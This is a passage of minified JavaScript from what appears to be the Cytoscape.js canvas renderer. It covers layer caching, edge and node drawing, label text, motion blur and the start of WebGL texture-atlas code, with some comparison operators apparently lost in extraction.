e=this,r=e.getElementQueue(),n=e.getElementKeyToQueue(),i=this.getKey(t),a=n[i];a!=null&&(a.eles.length===1?(a.reqs=dI,r.updateItem(a),r.pop(),n[i]=null):a.eles.unmerge(t))};zi.onDequeue=function(t){this.onDequeues.push(t)};zi.offDequeue=function(t){wf(this.onDequeues,t)};zi.setupDequeueing=Rhe.setupDequeueing({deqRedrawThreshold:LHe,deqCost:CHe,deqAvgCost:AHe,deqNoDrawCost:_He,deqFastCost:DHe,deq:o(function(e,r,n){return e.dequeue(r,n)},"deq"),onDeqd:o(function(e,r){for(var n=0;n=IHe||r>aE)return null}n.validateLayersElesOrdering(r,t);var u=n.layersByLevel,h=Math.pow(2,r),f=u[r]=u[r]||[],d,p=n.levelIsComplete(r,t),m,g=o(function(){var I=o(function(O){if(n.validateLayersElesOrdering(O,t),n.levelIsComplete(O,t))return m=u[O],!0},"canUseAsTmpLvl"),L=o(function(O){if(!m)for(var M=r+O;rx<=M&&M<=aE&&!I(M);M+=O);},"checkLvls");L(1),L(-1);for(var E=f.length-1;E>=0;E--){var D=f[E];D.invalid&&wf(f,D)}},"checkTempLevels");if(!p)g();else return f;var y=o(function(){if(!d){d=cs();for(var I=0;IWce||D>Wce)return null;var _=E*D;if(_>VHe)return null;var O=n.makeLayer(d,r);if(L!=null){var M=f.indexOf(L)+1;f.splice(M,0,O)}else(I.insert===void 0||I.insert)&&f.unshift(O);return O},"makeLayer");if(n.skipping&&!l)return null;for(var x=null,b=t.length/MHe,T=!l,S=0;S=b||!Aue(x.bb,w.boundingBox()))&&(x=v({insert:!0,after:x}),!x))return null;m||T?n.queueLayer(x,w):n.drawEleInLayer(x,w,r,e),x.eles.push(w),A[r]=x}return m||(T?null:f)};ba.getEleLevelForLayerLevel=function(t,e){return t};ba.drawEleInLayer=function(t,e,r,n){var i=this,a=this.renderer,s=t.context,l=e.boundingBox();l.w===0||l.h===0||!e.visible()||(r=i.getEleLevelForLayerLevel(r,n),a.setImgSmoothing(s,!1),a.drawCachedElement(s,e,null,null,r,UHe),a.setImgSmoothing(s,!0))};ba.levelIsComplete=function(t,e){var r=this,n=r.layersByLevel[t];if(!n||n.length===0)return!1;for(var i=0,a=0;a0||s.invalid)return!1;i+=s.eles.length}return i===e.length};ba.validateLayersElesOrdering=function(t,e){var r=this.layersByLevel[t];if(r)for(var n=0;n0){e=!0;break}}return e};ba.invalidateElements=function(t){var e=this;t.length!==0&&(e.lastInvalidationTime=Gu(),!(t.length===0||!e.haveLayers())&&e.updateElementsInLayers(t,o(function(n,i,a){e.invalidateLayer(n)},"invalAssocLayers")))};ba.invalidateLayer=function(t){if(this.lastInvalidationTime=Gu(),!t.invalid){var e=t.level,r=t.eles,n=this.layersByLevel[e];wf(n,t),t.elesQueue=[],t.invalid=!0,t.replacement&&(t.replacement.invalid=!0);for(var i=0;i3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0,s=this,l=e._private.rscratch;if(!(a&&!e.visible())&&!(l.badLine||l.allpts==null||isNaN(l.allpts[0]))){var u;r&&(u=r,t.translate(-u.x1,-u.y1));var h=a?e.pstyle("opacity").value:1,f=a?e.pstyle("line-opacity").value:1,d=e.pstyle("curve-style").value,p=e.pstyle("line-style").value,m=e.pstyle("width").pfValue,g=e.pstyle("line-cap").value,y=e.pstyle("line-outline-width").value,v=e.pstyle("line-outline-color").value,x=h*f,b=h*f,T=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:x;d==="straight-triangle"?(s.eleStrokeStyle(t,e,O),s.drawEdgeTrianglePath(e,t,l.allpts)):(t.lineWidth=m,t.lineCap=g,s.eleStrokeStyle(t,e,O),s.drawEdgePath(e,t,l.allpts,p),t.lineCap="butt")},"drawLine"),S=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:x;if(t.lineWidth=m+y,t.lineCap=g,y>0)s.colorStrokeStyle(t,v[0],v[1],v[2],O);else{t.lineCap="butt";return}d==="straight-triangle"?s.drawEdgeTrianglePath(e,t,l.allpts):(s.drawEdgePath(e,t,l.allpts,p),t.lineCap="butt")},"drawLineOutline"),w=o(function(){i&&s.drawEdgeOverlay(t,e)},"drawOverlay"),k=o(function(){i&&s.drawEdgeUnderlay(t,e)},"drawUnderlay"),A=o(function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:b;s.drawArrowheads(t,e,O)},"drawArrows"),C=o(function(){s.drawElementText(t,e,null,n)},"drawText");t.lineJoin="round";var R=e.pstyle("ghost").value==="yes";if(R){var I=e.pstyle("ghost-offset-x").pfValue,L=e.pstyle("ghost-offset-y").pfValue,E=e.pstyle("ghost-opacity").value,D=x*E;t.translate(I,L),T(D),A(D),t.translate(-I,-L)}else S();k(),T(),A(),w(),C(),r&&t.translate(u.x1,u.y1)}};Ohe=o(function(e){if(!["overlay","underlay"].includes(e))throw new Error("Invalid state");return function(r,n){if(n.visible()){var i=n.pstyle("".concat(e,"-opacity")).value;if(i!==0){var a=this,s=a.usePaths(),l=n._private.rscratch,u=n.pstyle("".concat(e,"-padding")).pfValue,h=2*u,f=n.pstyle("".concat(e,"-color")).value;r.lineWidth=h,l.edgeType==="self"&&!s?r.lineCap="butt":r.lineCap="round",a.colorStrokeStyle(r,f[0],f[1],f[2],i),a.drawEdgePath(n,r,l.allpts,"solid")}}}},"drawEdgeOverlayUnderlay");Hu.drawEdgeOverlay=Ohe("overlay");Hu.drawEdgeUnderlay=Ohe("underlay");Hu.drawEdgePath=function(t,e,r,n){var i=t._private.rscratch,a=e,s,l=!1,u=this.usePaths(),h=t.pstyle("line-dash-pattern").pfValue,f=t.pstyle("line-dash-offset").pfValue;if(u){var d=r.join("$"),p=i.pathCacheKey&&i.pathCacheKey===d;p?(s=e=i.pathCache,l=!0):(s=e=new Path2D,i.pathCacheKey=d,i.pathCache=s)}if(a.setLineDash)switch(n){case"dotted":a.setLineDash([1,1]);break;case"dashed":a.setLineDash(h),a.lineDashOffset=f;break;case"solid":a.setLineDash([]);break}if(!l&&!i.badLine)switch(e.beginPath&&e.beginPath(),e.moveTo(r[0],r[1]),i.edgeType){case"bezier":case"self":case"compound":case"multibezier":for(var m=2;m+35&&arguments[5]!==void 0?arguments[5]:!0,s=this;if(n==null){if(a&&!s.eleTextBiggerThanMin(e))return}else if(n===!1)return;if(e.isNode()){var l=e.pstyle("label");if(!l||!l.value)return;var u=s.getLabelJustification(e);t.textAlign=u,t.textBaseline="bottom"}else{var h=e.element()._private.rscratch.badLine,f=e.pstyle("label"),d=e.pstyle("source-label"),p=e.pstyle("target-label");if(h||(!f||!f.value)&&(!d||!d.value)&&(!p||!p.value))return;t.textAlign="center",t.textBaseline="bottom"}var m=!r,g;r&&(g=r,t.translate(-g.x1,-g.y1)),i==null?(s.drawText(t,e,null,m,a),e.isEdge()&&(s.drawText(t,e,"source",m,a),s.drawText(t,e,"target",m,a))):s.drawText(t,e,i,m,a),r&&t.translate(g.x1,g.y1)};Cp.getFontCache=function(t){var e;this.fontCaches=this.fontCaches||[];for(var r=0;r2&&arguments[2]!==void 0?arguments[2]:!0,n=e.pstyle("font-style").strValue,i=e.pstyle("font-size").pfValue+"px",a=e.pstyle("font-family").strValue,s=e.pstyle("font-weight").strValue,l=r?e.effectiveOpacity()*e.pstyle("text-opacity").value:1,u=e.pstyle("text-outline-opacity").value*l,h=e.pstyle("color").value,f=e.pstyle("text-outline-color").value;t.font=n+" "+s+" "+i+" "+a,t.lineJoin="round",this.colorFillStyle(t,h[0],h[1],h[2],l),this.colorStrokeStyle(t,f[0],f[1],f[2],u)};o(eqe,"circle");o(Kce,"roundRect");Cp.getTextAngle=function(t,e){var r,n=t._private,i=n.rscratch,a=e?e+"-":"",s=t.pstyle(a+"text-rotation");if(s.strValue==="autorotate"){var l=Us(i,"labelAngle",e);r=t.isEdge()?l:0}else s.strValue==="none"?r=0:r=s.pfValue;return r};Cp.drawText=function(t,e,r){var n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=e._private,s=a.rscratch,l=i?e.effectiveOpacity():1;if(!(i&&(l===0||e.pstyle("text-opacity").value===0))){r==="main"&&(r=null);var u=Us(s,"labelX",r),h=Us(s,"labelY",r),f,d,p=this.getLabelText(e,r);if(p!=null&&p!==""&&!isNaN(u)&&!isNaN(h)){this.setupTextStyle(t,e,i);var m=r?r+"-":"",g=Us(s,"labelWidth",r),y=Us(s,"labelHeight",r),v=e.pstyle(m+"text-margin-x").pfValue,x=e.pstyle(m+"text-margin-y").pfValue,b=e.isEdge(),T=e.pstyle("text-halign").value,S=e.pstyle("text-valign").value;b&&(T="center",S="center"),u+=v,h+=x;var w;switch(n?w=this.getTextAngle(e,r):w=0,w!==0&&(f=u,d=h,t.translate(f,d),t.rotate(w),u=0,h=0),S){case"top":break;case"center":h+=y/2;break;case"bottom":h+=y;break}var k=e.pstyle("text-background-opacity").value,A=e.pstyle("text-border-opacity").value,C=e.pstyle("text-border-width").pfValue,R=e.pstyle("text-background-padding").pfValue,I=e.pstyle("text-background-shape").strValue,L=I==="round-rectangle"||I==="roundrectangle",E=I==="circle",D=2;if(k>0||C>0&&A>0){var _=t.fillStyle,O=t.strokeStyle,M=t.lineWidth,P=e.pstyle("text-background-color").value,B=e.pstyle("text-border-color").value,F=e.pstyle("text-border-style").value,G=k>0,$=C>0&&A>0,U=u-R;switch(T){case"left":U-=g;break;case"center":U-=g/2;break}var j=h-y-R,te=g+2*R,Y=y+2*R;if(G&&(t.fillStyle="rgba(".concat(P[0],",").concat(P[1],",").concat(P[2],",").concat(k*l,")")),$&&(t.strokeStyle="rgba(".concat(B[0],",").concat(B[1],",").concat(B[2],",").concat(A*l,")"),t.lineWidth=C,t.setLineDash))switch(F){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash([4,2]);break;case"double":t.lineWidth=C/4,t.setLineDash([]);break;case"solid":default:t.setLineDash([]);break}if(L?(t.beginPath(),Kce(t,U,j,te,Y,D)):E?(t.beginPath(),eqe(t,U,j,te,Y)):(t.beginPath(),t.rect(U,j,te,Y)),G&&t.fill(),$&&t.stroke(),$&&F==="double"){var oe=C/2;t.beginPath(),L?Kce(t,U+oe,j+oe,te-2*oe,Y-2*oe,D):t.rect(U+oe,j+oe,te-2*oe,Y-2*oe),t.stroke()}t.fillStyle=_,t.strokeStyle=O,t.lineWidth=M,t.setLineDash&&t.setLineDash([])}var J=2*e.pstyle("text-outline-width").pfValue;if(J>0&&(t.lineWidth=J),e.pstyle("text-wrap").value==="wrap"){var ue=Us(s,"labelWrapCachedLines",r),re=Us(s,"labelLineHeight",r),ee=g/2,Z=this.getLabelJustification(e);switch(Z==="auto"||(T==="left"?Z==="left"?u+=-g:Z==="center"&&(u+=-ee):T==="center"?Z==="left"?u+=-ee:Z==="right"&&(u+=ee):T==="right"&&(Z==="center"?u+=ee:Z==="right"&&(u+=g))),S){case"top":h-=(ue.length-1)*re;break;case"center":case"bottom":h-=(ue.length-1)*re;break}for(var K=0;K0&&t.strokeText(ue[K],u,h),t.fillText(ue[K],u,h),h+=re}else J>0&&t.strokeText(p,u,h),t.fillText(p,u,h);w!==0&&(t.rotate(-w),t.translate(-f,-d))}}};Lf={};Lf.drawNode=function(t,e,r){var n=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,a=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0,s=this,l,u,h=e._private,f=h.rscratch,d=e.position();if(!(!At(d.x)||!At(d.y))&&!(a&&!e.visible())){var p=a?e.effectiveOpacity():1,m=s.usePaths(),g,y=!1,v=e.padding();l=e.width()+2*v,u=e.height()+2*v;var x;r&&(x=r,t.translate(-x.x1,-x.y1));for(var b=e.pstyle("background-image"),T=b.value,S=new Array(T.length),w=new Array(T.length),k=0,A=0;A0&&arguments[0]!==void 0?arguments[0]:D;s.eleFillStyle(t,e,W)},"setupShapeColor"),re=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:$;s.colorStrokeStyle(t,_[0],_[1],_[2],W)},"setupBorderColor"),ee=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:Y;s.colorStrokeStyle(t,j[0],j[1],j[2],W)},"setupOutlineColor"),Z=o(function(W,he,z,se){var le=s.nodePathCache=s.nodePathCache||[],ke=bue(z==="polygon"?z+","+se.join(","):z,""+he,""+W,""+J),ve=le[ke],ye,Re=!1;return ve!=null?(ye=ve,Re=!0,f.pathCache=ye):(ye=new Path2D,le[ke]=f.pathCache=ye),{path:ye,cacheHit:Re}},"getPath"),K=e.pstyle("shape").strValue,ae=e.pstyle("shape-polygon-points").pfValue;if(m){t.translate(d.x,d.y);var Q=Z(l,u,K,ae);g=Q.path,y=Q.cacheHit}var de=o(function(){if(!y){var W=d;m&&(W={x:0,y:0}),s.nodeShapes[s.getNodeShape(e)].draw(g||t,W.x,W.y,l,u,J,f)}m?t.fill(g):t.fill()},"drawShape"),ne=o(function(){for(var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:p,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0,z=h.backgrounding,se=0,le=0;le0&&arguments[0]!==void 0?arguments[0]:!1,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:p;s.hasPie(e)&&(s.drawPie(t,e,he),W&&(m||s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f)))},"drawPie"),q=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,he=arguments.length>1&&arguments[1]!==void 0?arguments[1]:p;s.hasStripe(e)&&(t.save(),m?t.clip(f.pathCache):(s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f),t.clip()),s.drawStripe(t,e,he),t.restore(),W&&(m||s.nodeShapes[s.getNodeShape(e)].draw(t,d.x,d.y,l,u,J,f)))},"drawStripe"),Ve=o(function(){var W=arguments.length>0&&arguments[0]!==void 0?arguments[0]:p,he=(L>0?L:-L)*W,z=L>0?0:255;L!==0&&(s.colorFillStyle(t,z,z,z,he),m?t.fill(g):t.fill())},"darken"),pe=o(function(){if(E>0){if(t.lineWidth=E,t.lineCap=P,t.lineJoin=M,t.setLineDash)switch(O){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash(F),t.lineDashOffset=G;break;case"solid":case"double":t.setLineDash([]);break}if(B!=="center"){if(t.save(),t.lineWidth*=2,B==="inside")m?t.clip(g):t.clip();else{var W=new Path2D;W.rect(-l/2-E,-u/2-E,l+2*E,u+2*E),W.addPath(g),t.clip(W,"evenodd")}m?t.stroke(g):t.stroke(),t.restore()}else m?t.stroke(g):t.stroke();if(O==="double"){t.lineWidth=E/3;var he=t.globalCompositeOperation;t.globalCompositeOperation="destination-out",m?t.stroke(g):t.stroke(),t.globalCompositeOperation=he}t.setLineDash&&t.setLineDash([])}},"drawBorder"),Be=o(function(){if(U>0){if(t.lineWidth=U,t.lineCap="butt",t.setLineDash)switch(te){case"dotted":t.setLineDash([1,1]);break;case"dashed":t.setLineDash([4,2]);break;case"solid":case"double":t.setLineDash([]);break}var W=d;m&&(W={x:0,y:0});var he=s.getNodeShape(e),z=E;B==="inside"&&(z=0),B==="outside"&&(z*=2);var se=(l+z+(U+oe))/l,le=(u+z+(U+oe))/u,ke=l*se,ve=u*le,ye=s.nodeShapes[he].points,Re;if(m){var _e=Z(ke,ve,he,ye);Re=_e.path}if(he==="ellipse")s.drawEllipsePath(Re||t,W.x,W.y,ke,ve);else if(["round-diamond","round-heptagon","round-hexagon","round-octagon","round-pentagon","round-polygon","round-triangle","round-tag"].includes(he)){var ze=0,Ke=0,xt=0;he==="round-diamond"?ze=(z+oe+U)*1.4:he==="round-heptagon"?(ze=(z+oe+U)*1.075,xt=-(z/2+oe+U)/35):he==="round-hexagon"?ze=(z+oe+U)*1.12:he==="round-pentagon"?(ze=(z+oe+U)*1.13,xt=-(z/2+oe+U)/15):he==="round-tag"?(ze=(z+oe+U)*1.12,Ke=(z/2+U+oe)*.07):he==="round-triangle"&&(ze=(z+oe+U)*(Math.PI/2),xt=-(z+oe/2+U)/Math.PI),ze!==0&&(se=(l+ze)/l,ke=l*se,["round-hexagon","round-tag"].includes(he)||(le=(u+ze)/u,ve=u*le)),J=J==="auto"?Lue(ke,ve):J;for(var We=ke/2,Oe=ve/2,et=J+(z+U+oe)/2,Ue=new Array(ye.length/2),lt=new Array(ye.length/2),Gt=0;Gt0){if(i=i||n.position(),a==null||s==null){var m=n.padding();a=n.width()+2*m,s=n.height()+2*m}l.colorFillStyle(r,f[0],f[1],f[2],h),l.nodeShapes[d].draw(r,i.x,i.y,a+u*2,s+u*2,p),r.fill()}}}},"drawNodeOverlayUnderlay");Lf.drawNodeOverlay=Phe("overlay");Lf.drawNodeUnderlay=Phe("underlay");Lf.hasPie=function(t){return t=t[0],t._private.hasPie};Lf.hasStripe=function(t){return t=t[0],t._private.hasStripe};Lf.drawPie=function(t,e,r,n){e=e[0],n=n||e.position();var i=e.cy().style(),a=e.pstyle("pie-size"),s=e.pstyle("pie-hole"),l=e.pstyle("pie-start-angle").pfValue,u=n.x,h=n.y,f=e.width(),d=e.height(),p=Math.min(f,d)/2,m,g=0,y=this.usePaths();if(y&&(u=0,h=0),a.units==="%"?p=p*a.pfValue:a.pfValue!==void 0&&(p=a.pfValue/2),s.units==="%"?m=p*s.pfValue:s.pfValue!==void 0&&(m=s.pfValue/2),!(m>=p))for(var v=1;v<=i.pieBackgroundN;v++){var x=e.pstyle("pie-"+v+"-background-size").value,b=e.pstyle("pie-"+v+"-background-color").value,T=e.pstyle("pie-"+v+"-background-opacity").value*r,S=x/100;S+g>1&&(S=1-g);var w=1.5*Math.PI+2*Math.PI*g;w+=l;var k=2*Math.PI*S,A=w+k;x===0||g>=1||g+S>1||(m===0?(t.beginPath(),t.moveTo(u,h),t.arc(u,h,p,w,A),t.closePath()):(t.beginPath(),t.arc(u,h,p,w,A),t.arc(u,h,m,A,w,!0),t.closePath()),this.colorFillStyle(t,b[0],b[1],b[2],T),t.fill(),g+=S)}};Lf.drawStripe=function(t,e,r,n){e=e[0],n=n||e.position();var i=e.cy().style(),a=n.x,s=n.y,l=e.width(),u=e.height(),h=0,f=this.usePaths();t.save();var d=e.pstyle("stripe-direction").value,p=e.pstyle("stripe-size");switch(d){case"vertical":break;case"righward":t.rotate(-Math.PI/2);break}var m=l,g=u;p.units==="%"?(m=m*p.pfValue,g=g*p.pfValue):p.pfValue!==void 0&&(m=p.pfValue,g=p.pfValue),f&&(a=0,s=0),s-=m/2,a-=g/2;for(var y=1;y<=i.stripeBackgroundN;y++){var v=e.pstyle("stripe-"+y+"-background-size").value,x=e.pstyle("stripe-"+y+"-background-color").value,b=e.pstyle("stripe-"+y+"-background-opacity").value*r,T=v/100;T+h>1&&(T=1-h),!(v===0||h>=1||h+T>1)&&(t.beginPath(),t.rect(a,s+g*h,m,g*T),t.closePath(),this.colorFillStyle(t,x[0],x[1],x[2],b),t.fill(),h+=T)}t.restore()};us={},tqe=100;us.getPixelRatio=function(){var t=this.data.contexts[0];if(this.forcedPixelRatio!=null)return this.forcedPixelRatio;var e=this.cy.window(),r=t.backingStorePixelRatio||t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return(e.devicePixelRatio||1)/r};us.paintCache=function(t){for(var e=this.paintCaches=this.paintCaches||[],r=!0,n,i=0;ie.minMbLowQualFrames&&(e.motionBlurPxRatio=e.mbPxRBlurry)),e.clearingMotionBlur&&(e.motionBlurPxRatio=1),e.textureDrawLastFrame&&!d&&(f[e.NODE]=!0,f[e.SELECT_BOX]=!0);var b=r.style(),T=r.zoom(),S=s!==void 0?s:T,w=r.pan(),k={x:w.x,y:w.y},A={zoom:T,pan:{x:w.x,y:w.y}},C=e.prevViewport,R=C===void 0||A.zoom!==C.zoom||A.pan.x!==C.pan.x||A.pan.y!==C.pan.y;!R&&!(y&&!g)&&(e.motionBlurPxRatio=1),l&&(k=l),S*=u,k.x*=u,k.y*=u;var I=e.getCachedZSortedEles();function L(re,ee,Z,K,ae){var Q=re.globalCompositeOperation;re.globalCompositeOperation="destination-out",e.colorFillStyle(re,255,255,255,e.motionBlurTransparency),re.fillRect(ee,Z,K,ae),re.globalCompositeOperation=Q}o(L,"mbclear");function E(re,ee){var Z,K,ae,Q;!e.clearingMotionBlur&&(re===h.bufferContexts[e.MOTIONBLUR_BUFFER_NODE]||re===h.bufferContexts[e.MOTIONBLUR_BUFFER_DRAG])?(Z={x:w.x*m,y:w.y*m},K=T*m,ae=e.canvasWidth*m,Q=e.canvasHeight*m):(Z=k,K=S,ae=e.canvasWidth,Q=e.canvasHeight),re.setTransform(1,0,0,1,0,0),ee==="motionBlur"?L(re,0,0,ae,Q):!n&&(ee===void 0||ee)&&re.clearRect(0,0,ae,Q),i||(re.translate(Z.x,Z.y),re.scale(K,K)),l&&re.translate(l.x,l.y),s&&re.scale(s,s)}if(o(E,"setContextTransform"),d||(e.textureDrawLastFrame=!1),d){if(e.textureDrawLastFrame=!0,!e.textureCache){e.textureCache={},e.textureCache.bb=r.mutableElements().boundingBox(),e.textureCache.texture=e.data.bufferCanvases[e.TEXTURE_BUFFER];var D=e.data.bufferContexts[e.TEXTURE_BUFFER];D.setTransform(1,0,0,1,0,0),D.clearRect(0,0,e.canvasWidth*e.textureMult,e.canvasHeight*e.textureMult),e.render({forcedContext:D,drawOnlyNodeLayer:!0,forcedPxRatio:u*e.textureMult});var A=e.textureCache.viewport={zoom:r.zoom(),pan:r.pan(),width:e.canvasWidth,height:e.canvasHeight};A.mpan={x:(0-A.pan.x)/A.zoom,y:(0-A.pan.y)/A.zoom}}f[e.DRAG]=!1,f[e.NODE]=!1;var _=h.contexts[e.NODE],O=e.textureCache.texture,A=e.textureCache.viewport;_.setTransform(1,0,0,1,0,0),p?L(_,0,0,A.width,A.height):_.clearRect(0,0,A.width,A.height);var M=b.core("outside-texture-bg-color").value,P=b.core("outside-texture-bg-opacity").value;e.colorFillStyle(_,M[0],M[1],M[2],P),_.fillRect(0,0,A.width,A.height);var T=r.zoom();E(_,!1),_.clearRect(A.mpan.x,A.mpan.y,A.width/A.zoom/u,A.height/A.zoom/u),_.drawImage(O,A.mpan.x,A.mpan.y,A.width/A.zoom/u,A.height/A.zoom/u)}else e.textureOnViewport&&!n&&(e.textureCache=null);var B=r.extent(),F=e.pinching||e.hoverData.dragging||e.swipePanning||e.data.wheelZooming||e.hoverData.draggingEles||e.cy.animated(),G=e.hideEdgesOnViewport&&F,$=[];if($[e.NODE]=!f[e.NODE]&&p&&!e.clearedForMotionBlur[e.NODE]||e.clearingMotionBlur,$[e.NODE]&&(e.clearedForMotionBlur[e.NODE]=!0),$[e.DRAG]=!f[e.DRAG]&&p&&!e.clearedForMotionBlur[e.DRAG]||e.clearingMotionBlur,$[e.DRAG]&&(e.clearedForMotionBlur[e.DRAG]=!0),f[e.NODE]||i||a||$[e.NODE]){var U=p&&!$[e.NODE]&&m!==1,_=n||(U?e.data.bufferContexts[e.MOTIONBLUR_BUFFER_NODE]:h.contexts[e.NODE]),j=p&&!U?"motionBlur":void 0;E(_,j),G?e.drawCachedNodes(_,I.nondrag,u,B):e.drawLayeredElements(_,I.nondrag,u,B),e.debug&&e.drawDebugPoints(_,I.nondrag),!i&&!p&&(f[e.NODE]=!1)}if(!a&&(f[e.DRAG]||i||$[e.DRAG])){var U=p&&!$[e.DRAG]&&m!==1,_=n||(U?e.data.bufferContexts[e.MOTIONBLUR_BUFFER_DRAG]:h.contexts[e.DRAG]);E(_,p&&!U?"motionBlur":void 0),G?e.drawCachedNodes(_,I.drag,u,B):e.drawCachedElements(_,I.drag,u,B),e.debug&&e.drawDebugPoints(_,I.drag),!i&&!p&&(f[e.DRAG]=!1)}if(this.drawSelectionRectangle(t,E),p&&m!==1){var te=h.contexts[e.NODE],Y=e.data.bufferCanvases[e.MOTIONBLUR_BUFFER_NODE],oe=h.contexts[e.DRAG],J=e.data.bufferCanvases[e.MOTIONBLUR_BUFFER_DRAG],ue=o(function(ee,Z,K){ee.setTransform(1,0,0,1,0,0),K||!x?ee.clearRect(0,0,e.canvasWidth,e.canvasHeight):L(ee,0,0,e.canvasWidth,e.canvasHeight);var ae=m;ee.drawImage(Z,0,0,e.canvasWidth*ae,e.canvasHeight*ae,0,0,e.canvasWidth,e.canvasHeight)},"drawMotionBlur");(f[e.NODE]||$[e.NODE])&&(ue(te,Y,$[e.NODE]),f[e.NODE]=!1),(f[e.DRAG]||$[e.DRAG])&&(ue(oe,J,$[e.DRAG]),f[e.DRAG]=!1)}e.prevViewport=A,e.clearingMotionBlur&&(e.clearingMotionBlur=!1,e.motionBlurCleared=!0,e.motionBlur=!0),p&&(e.motionBlurTimeout=setTimeout(function(){e.motionBlurTimeout=null,e.clearedForMotionBlur[e.NODE]=!1,e.clearedForMotionBlur[e.DRAG]=!1,e.motionBlur=!1,e.clearingMotionBlur=!d,e.mbFrames=0,f[e.NODE]=!0,f[e.DRAG]=!0,e.redraw()},tqe)),n||r.emit("render")};us.drawSelectionRectangle=function(t,e){var r=this,n=r.cy,i=r.data,a=n.style(),s=t.drawOnlyNodeLayer,l=t.drawAllLayers,u=i.canvasNeedsRedraw,h=t.forcedContext;if(r.showFps||!s&&u[r.SELECT_BOX]&&!l){var f=h||i.contexts[r.SELECT_BOX];if(e(f),r.selection[4]==1&&(r.hoverData.selecting||r.touchData.selecting)){var d=r.cy.zoom(),p=a.core("selection-box-border-width").value/d;f.lineWidth=p,f.fillStyle="rgba("+a.core("selection-box-color").value[0]+","+a.core("selection-box-color").value[1]+","+a.core("selection-box-color").value[2]+","+a.core("selection-box-opacity").value+")",f.fillRect(r.selection[0],r.selection[1],r.selection[2]-r.selection[0],r.selection[3]-r.selection[1]),p>0&&(f.strokeStyle="rgba("+a.core("selection-box-border-color").value[0]+","+a.core("selection-box-border-color").value[1]+","+a.core("selection-box-border-color").value[2]+","+a.core("selection-box-opacity").value+")",f.strokeRect(r.selection[0],r.selection[1],r.selection[2]-r.selection[0],r.selection[3]-r.selection[1]))}if(i.bgActivePosistion&&!r.hoverData.selecting){var d=r.cy.zoom(),m=i.bgActivePosistion;f.fillStyle="rgba("+a.core("active-bg-color").value[0]+","+a.core("active-bg-color").value[1]+","+a.core("active-bg-color").value[2]+","+a.core("active-bg-opacity").value+")",f.beginPath(),f.arc(m.x,m.y,a.core("active-bg-size").pfValue/d,0,2*Math.PI),f.fill()}var g=r.lastRedrawTime;if(r.showFps&&g){g=Math.round(g);var y=Math.round(1e3/g),v="1 frame = "+g+" ms = "+y+" fps";if(f.setTransform(1,0,0,1,0,0),f.fillStyle="rgba(255, 0, 0, 0.75)",f.strokeStyle="rgba(255, 0, 0, 0.75)",f.font="30px Arial",!j2){var x=f.measureText(v);j2=x.actualBoundingBoxAscent}f.fillText(v,0,j2);var b=60;f.strokeRect(0,j2+10,250,20),f.fillRect(0,j2+10,250*Math.min(y/b,1),20)}l||(u[r.SELECT_BOX]=!1)}};o(Qce,"compileShader");o(rqe,"createProgram");o(nqe,"createTextureCanvas");o(MI,"getEffectivePanZoom");o(iqe,"getEffectiveZoom");o(aqe,"modelToRenderedPosition");o(sqe,"isSimpleShape");o(oqe,"arrayEqual");o(dp,"toWebGLColor");o(Zm,"indexToVec4");o(lqe,"vec4ToIndex");o(cqe,"createTexture");o(Bhe,"getTypeInfo");o(Fhe,"createTypedArray");o(uqe,"createTypedArrayView");o(hqe,"createBufferStaticDraw");o(Mc,"createBufferDynamicDraw");o(fqe,"create3x3MatrixBufferDynamicDraw");o(dqe,"createPickingFrameBuffer");Zce=typeof Float32Array<"u"?Float32Array:Array;Math.hypot||(Math.hypot=function(){for(var t=0,e=arguments.length;e--;)t+=arguments[e]*arguments[e];return Math.sqrt(t)});o(BM,"create");o(Jce,"identity");o(pqe,"multiply");o(Yk,"translate");o(eue,"rotate");o(aI,"scale");o(mqe,"projection");gqe=(function(){function t(e,r,n,i){Af(this,t),this.debugID=Math.floor(Math.random()*1e4),this.r=e,this.texSize=r,this.texRows=n,this.texHeight=Math.floor(r/n),this.enableWrapping=!0,this.locked=!1,this.texture=null,this.needsBuffer=!0,this.freePointer={x:0,row:0},this.keyToLocation=new Map,this.canvas=i(e,r,r),this.scratch=i(e,r,this.texHeight,"scratch")}return o(t,"Atlas"),_f(t,[{key:"lock",value:o(function(){this.locked=!0},"lock")},{key:"getKeys",value:o(function(){return new Set(this.keyToLocation.keys())},"getKeys")},{key:"getScale",value:o(function(r){var n=r.w,i=r.h,a=this.texHeight,s=this.texSize,l=a/i,u=n*l,h=i*l;return u>s&&(l=s/n,u=n*l,h=i*l),{scale:l,texW:u,texH:h}},"getScale")},{key:"draw",value:o(function(r,n,i){var a=this;if(this.locked)throw new Error("can't draw, atlas is locked");var s=this.texSize,l=this.texRows,u=this.texHeight,h=this.getScale(n),f=h.scale,d=h.texW,p=h.texH,m=o(function(T,S){if(i&&S){var w=S.context,k=T.x,A=T.row,C=k,R=u*A;w.save(),w.translate(C,R),w.scale(f,f),i(w,n),w.restore()}},"drawAt"),g=[null,null],y=o(function(){m(a.freePointer,a.canvas),g[0]={x:a.freePointer.x,y:a.freePointer.row*u,w:d,h:p},g[1]={x:a.freePointer.x+d,y:a.freePointer.row*u,w:0,h:p},a.freePointer.x+=d,a.freePointer.x==s&&(a.freePointer.x=0,a.freePointer.row++)},"drawNormal"),v=o(function(){var 